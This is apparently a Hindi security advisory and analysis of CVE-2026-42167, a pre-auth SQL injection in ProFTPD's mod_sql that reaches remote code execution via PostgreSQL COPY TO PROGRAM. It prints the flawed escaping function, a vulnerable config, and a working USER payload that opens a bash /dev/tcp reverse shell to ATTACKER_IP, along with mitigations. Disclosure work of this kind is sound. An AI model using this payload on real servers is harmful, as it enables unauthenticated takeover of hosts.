
प्री-ऑथ RCE ProFTPD में mod_sql is_escaped_text() बाईपास के माध्यम से (CVE-2026-42167)
mod_sql SQL इंजेक्शन के माध्यम से प्री-ऑथेंटिकेशन रिमोट कोड एक्ज़ीक्यूशनलेखक: Van Glenndon Enad
मूल खोज: ZeroPath
प्रकाशित: 1 मई, 2026
गंभीरता: क्रिटिकल
CVSS v3.1 स्कोर: 8.1
CVSS v3.1 वेक्टर: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
CVSS v2 स्कोर: 7.6
CVSS v2 वेक्टर: CVSS2#AV:N/AC:H/Au:N/C:C/I:C/A:C
CWE: CWE-89 (SQL इंजेक्शन), CWE-78 (OS कमांड इंजेक्शन)
CVE-2026-42167 ProFTPD के mod_sql एक्सटेंशन मॉड्यूल में एक क्रिटिकल प्री-ऑथेंटिकेशन SQL इंजेक्शन भेद्यता है। is_escaped_text() फ़ंक्शन में एक लॉजिक दोष एक अनप्रमाणित हमलावर को एक USER कमांड तैयार करके SQL कैरेक्टर एस्केपिंग को बायपास करने की अनुमति देता है, जिसका मान एक दोषपूर्ण "पहले से-एस्केप्ड" ह्यूरिस्टिक को संतुष्ट करता है। इंजेक्ट किया गया SQL सीधे PQexec() के माध्यम से बैकएंड डेटाबेस को भेजा जाता है, जो स्टैक्ड क्वेरीज़ का समर्थन करता है।
जब ProFTPD डेटाबेस भूमिका PostgreSQL सुपरयूज़र होती है — जो कंटेनरीकृत डिप्लॉयमेंट में एक सामान्य गलत कॉन्फ़िगरेशन है — इंजेक्शन PostgreSQL के COPY TO PROGRAM निर्देश तक पहुँचता है, जिसके परिणामस्वरूप postgres सिस्टम यूज़र के रूप में अनप्रमाणित OS-स्तरीय रिमोट कोड एक्ज़ीक्यूशन होता है। कोई क्रेडेंशियल, कोई पूर्व पहुँच, और कोई उपयोगकर्ता इंटरैक्शन आवश्यक नहीं है।
| घटक | संस्करण |
|---|---|
| ProFTPD | ≤ 1.3.9 |
| मॉड्यूल | mod_sql + mod_sql_postgres |
| फिक्स्ड संस्करण | 1.3.9a (27 अप्रैल, 2026 को जारी) |
| बैकएंड | PostgreSQL (RCE); MySQL / SQLite (केवल ऑथ बायपास) |
ProFTPD एक व्यापक रूप से तैनात ओपन-सोर्स FTP सर्वर है। Shodan के अनुसार, इंटरनेट पर 160,000 से अधिक सार्वजनिक रूप से सुलभ ProFTPD इंस्टेंस मौजूद हैं। mod_sql मॉड्यूल आमतौर पर cPanel, Plesk, DirectAdmin, Webmin, और ISPConfig सहित शेयर्ड होस्टिंग कंट्रोल पैनलों में सक्षम होता है।
ProFTPD का mod_sql मॉड्यूल SQL-आधारित प्रमाणीकरण और गतिविधि लॉगिंग का समर्थन करता है। लॉग फॉर्मेट स्ट्रिंग्स में %U (यूज़रनेम), %r (रिमोट होस्ट), और %m (FTP कमांड) जैसे प्रतिस्थापन चर शामिल हो सकते हैं। ये चर रनटाइम पर विस्तारित होते हैं और कॉन्फ़िगर किए गए बैकएंड के विरुद्ध निष्पादित SQL क्वेरीज़ में डाले जाते हैं।
एक विशिष्ट असुरक्षित कॉन्फ़िगरेशन:
LoadModule mod_sql.c
LoadModule mod_sql_postgres.c
SQLEngine on
SQLBackend postgres
SQLAuthTypes Plaintext
SQLConnectInfo dbname@localhost dbuser dbpassword
SQLNamedQuery log_activity INSERT "'%U', '%r', '%m'" activity_log
SQLLog * log_activity
SQLLog ERR_* log_activity
इस कॉन्फ़िगरेशन में, FTP USER कमांड में आपूर्ति किया गया मान %U के लिए प्रतिस्थापित किया जाता है और सीधे SQL INSERT स्टेटमेंट में शामिल किया जाता है। सम्मिलन से पहले, मान को यह निर्धारित करने के लिए is_escaped_text() से गुज़ारा जाता है कि इसे एस्केप करने की आवश्यकता है या नहीं। इस फ़ंक्शन में एक महत्वपूर्ण लॉजिकल दोष है।
is_escaped_text() फ़ंक्शनcontrib/mod_sql.c में स्थित, फ़ंक्शन यह तय करने के लिए निम्नलिखित ह्यूरिस्टिक लागू करता है कि कोई स्ट्रिंग "पहले से एस्केप्ड" है या नहीं:
static int is_escaped_text(const char *s) {
size_t slen = strlen(s);
/* Assume the string is escaped if:
* 1. It starts with a single quote
* 2. It ends with a single quote
* 3. It contains no internal single quotes
*/
if (slen >= 2 &&
s[0] == '\'' &&
s[slen - 1] == '\'' &&
strchr(s + 1, '\'') == (s + slen - 1)) {
return TRUE; /* skip escaping */
}
return FALSE;
}
जब यह फ़ंक्शन TRUE लौटाता है, sql_resolved_append_text() (लाइन 777) कच्चे, अनएस्केप्ड मान को सीधे क्वेरी स्ट्रिंग में डालता है। फिर मान को contrib/mod_sql_postgres.c (लाइन 1146) में PQexec() द्वारा निष्पादित किया जाता है, जो स्टैक्ड (मल्टी-स्टेटमेंट) क्वेरीज़ का समर्थन करता है।
ह्यूरिस्टिक संभवतः उन स्ट्रिंग्स का पता लगाने के लिए था जो पहले से ही SQL स्ट्रिंग डिलीमीटर से घिरी हुई थीं। हालाँकि, यह यह सत्यापित करने का कोई प्रयास नहीं करता है कि आंतरिक सामग्री सुरक्षित है — केवल यह कि कोई अतिरिक्त सिंगल कोट मौजूद नहीं है। इसका मतलब है कि कोई भी पेलोड जो:
' से शुरू होता है' पर समाप्त होता है$$ डॉलर-कोटिंग का उपयोग करता है)...जाँच पास करेगा और SQL क्वेरी में शब्दशः इंजेक्ट किया जाएगा।
FTP Client ProFTPD PostgreSQL
│ │ │
│── USER '<payload>' ──▶ │ │
│ │ expand %U = '<payload>' │
│ │ is_escaped_text() = TRUE│
│ │ skip escaping │
│ │── INSERT INTO activity │
│ │ VALUES ('<payload>', │
│ │ ...) ──────────────▶ │
│ │ │ execute stacked SQL
│ │ │ COPY TO PROGRAM
│ │ │── shell command ──▶ OS
| आवश्यकता | नोट्स |
|---|---|
SQL लॉगिंग के साथ mod_sql सक्षम | %U जैसे प्री-ऑथ चर को लॉग करना चाहिए |
| PostgreSQL बैकएंड | COPY TO PROGRAM RCE के लिए आवश्यक; MySQL/SQLite अभी भी ऑथ बायपास की अनुमति देते हैं |
| DB भूमिका PostgreSQL सुपरयूज़र है | COPY TO PROGRAM सुपरयूज़र या pg_execute_server_program के सदस्यों तक सीमित है |
DB होस्ट पर bash उपलब्ध | /dev/tcp रिवर्स शेल डिलीवरी के लिए आवश्यक |
| नेटवर्क पहुँच | PostgreSQL कंटेनर को लिसनर पोर्ट पर हमलावर तक पहुँचने में सक्षम होना चाहिए |
सुपरयूज़र स्थिति अक्सर कंटेनरीकृत डिप्लॉयमेंट में पूरी होती है जहाँ ProFTPD DB यूज़र आधिकारिक PostgreSQL Docker इमेज में POSTGRES_USER=... के माध्यम से बनाया जाता है, या जब कोई व्यवस्थापक ProFTPD भूमिका को डेटाबेस का स्वामित्व प्रदान करता है।
Step 1: Attacker sends crafted USER command (pre-auth, no credentials needed)
│
▼
Step 2: ProFTPD expands %U with attacker-controlled value
│
▼
Step 3: is_escaped_text() bypass — raw SQL passes through unescaped
│
▼
Step 4: PQexec() executes stacked query against PostgreSQL
│
▼
Step 5: COPY TO PROGRAM executes attacker shell command as postgres OS user
│
▼
Step 6: Reverse shell / file exfiltration delivered to attacker
इंजेक्शन पेलोड FTP USER कमांड के माध्यम से वितरित किया जाता है:
USER ', null, null); COPY (SELECT $$x$$) TO PROGRAM $$bash -c $$bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1$$$$; --'
| स्थिति | संतुष्ट? | कारण |
|---|---|---|
' से शुरू होता है | ✅ | पहला कैरेक्टर ' है |
' पर समाप्त होता है | ✅ | अंतिम कैरेक्टर ' है |
| कोई आंतरिक सिंगल कोट नहीं | ✅ | आंतरिक स्ट्रिंग्स $$ डॉलर-कोटिंग का उपयोग करती हैं |
| खंड | उद्देश्य |
|---|---|
', null, null); | मूल INSERT स्टेटमेंट को साफ़-साफ़ बंद करता है |
COPY (SELECT $$x$$) TO PROGRAM | PostgreSQL के COPY TO PROGRAM का उपयोग करके स्टैक्ड क्वेरी |
$$bash -c ...$$ | सिंगल कोट से बचने के लिए $$ डॉलर-कोटिंग का उपयोग करके शेल कमांड |
; --' | स्टैक्ड क्वेरी समाप्त करता है; --' शेष को कमेंट करता है और बायपास के लिए समापन ' प्रदान करता है |
चेतावनी: यह PoC केवल शैक्षिक और अधिकृत परीक्षण उद्देश्यों के लिए प्रदान किया गया है। उन सिस्टमों के विरुद्ध उपयोग न करें जिनके आप स्वामी नहीं हैं या जिनके लिए आपके पास स्पष्ट लिखित अनुमति नहीं है।
नमूना उपयोग:
python3 CVE-2026-42167-preauth-user-rce.py --host TARGET_IP --port TARGET_PORT --shell-host ATTACKER_IP --shell-port ANY_PORT
| श्रेणी | विवरण |
|---|---|
| गोपनीयता | postgres OS यूज़र के रूप में फाइलसिस्टम तक पूर्ण पढ़ने की पहुँच |
| अखंडता | फाइलें लिखने, डेटाबेस सामग्री संशोधित करने, बैकडोर स्थापित करने की क्षमता |
| उपलब्धता | सेवा व्यवधान, डेटा विनाश संभव |
| प्रमाणीकरण | शून्य क्रेडेंशियल के साथ प्री-ऑथेंटिकेशन पर शोषण योग्य |
| दायरा | ProFTPD से आगे अंतर्निहित PostgreSQL होस्ट तक विस्तारित |
कोई भी सिस्टम जहाँ ProFTPD PostgreSQL इंस्टेंस के साथ सह-स्थित है या उस तक सुपरयूज़र पहुँच रखता है, पूर्ण होस्ट समझौते के जोखिम में है। आसन्न सिस्टमों तक पार्श्व गति और क्रॉन जॉब्स या SSH कुंजी इंजेक्शन के माध्यम से स्थिरता पोस्ट-एक्सप्लॉइटेशन में आसानी से प्राप्त की जा सकती है।
is_escaped_text() को पैच करता हैmod_sql-आधारित लॉगिंग को पूरी तरह से अक्षम करें (SQLLog निर्देश हटाएँ)SQLNamedQuery परिभाषाओं से प्री-ऑथ लॉगिंग चर (%U, %r, %m) हटाएँINSERT और ऑथ तालिका पर SELECT तक सीमित करेंCOPY, PROGRAM, या SQL कीवर्ड वाले USER कमांड के लिए FTP लॉग की निगरानी करें| दिनांक | घटना |
|---|---|
| 28 मार्च, 2026 | भेद्यता ProFTPD अनुरक्षकों को रिपोर्ट की गई |
| 7 अप्रैल, 2026 | पैच सत्यापन शुरू हुआ |
| 24 अप्रैल, 2026 | CVE-2026-42167 आवंटित किया गया |
| 27 अप्रैल, 2026 | फिक्स प्रतिबद्ध; ProFTPD 1.3.9a जारी किया गया |
| 28 अप्रैल, 2026 | NVD पर प्रकाशित |
| 28–29 अप्रैल, 2026 | GitHub पर सार्वजनिक PoC रिपॉजिटरी प्रकाशित |
| 1 मई, 2026 | स्वतंत्र विश्लेषण और सरलीकृत PoC प्रकाशित |
कानूनी अस्वीकरण: यह विश्लेषण और प्रूफ ऑफ कॉन्सेप्ट पूर्ण रूप से शैक्षिक, अनुसंधान और रक्षात्मक सुरक्षा उद्देश्यों के लिए प्रकाशित किए गए हैं। लेखक कंप्यूटर सिस्टम तक अनधिकृत पहुँच का समर्थन नहीं करता है। किसी भी सिस्टम के विरुद्ध सुरक्षा परीक्षण करने से पहले हमेशा स्पष्ट लिखित अनुमति प्राप्त करें जिसके आप स्वामी नहीं हैं।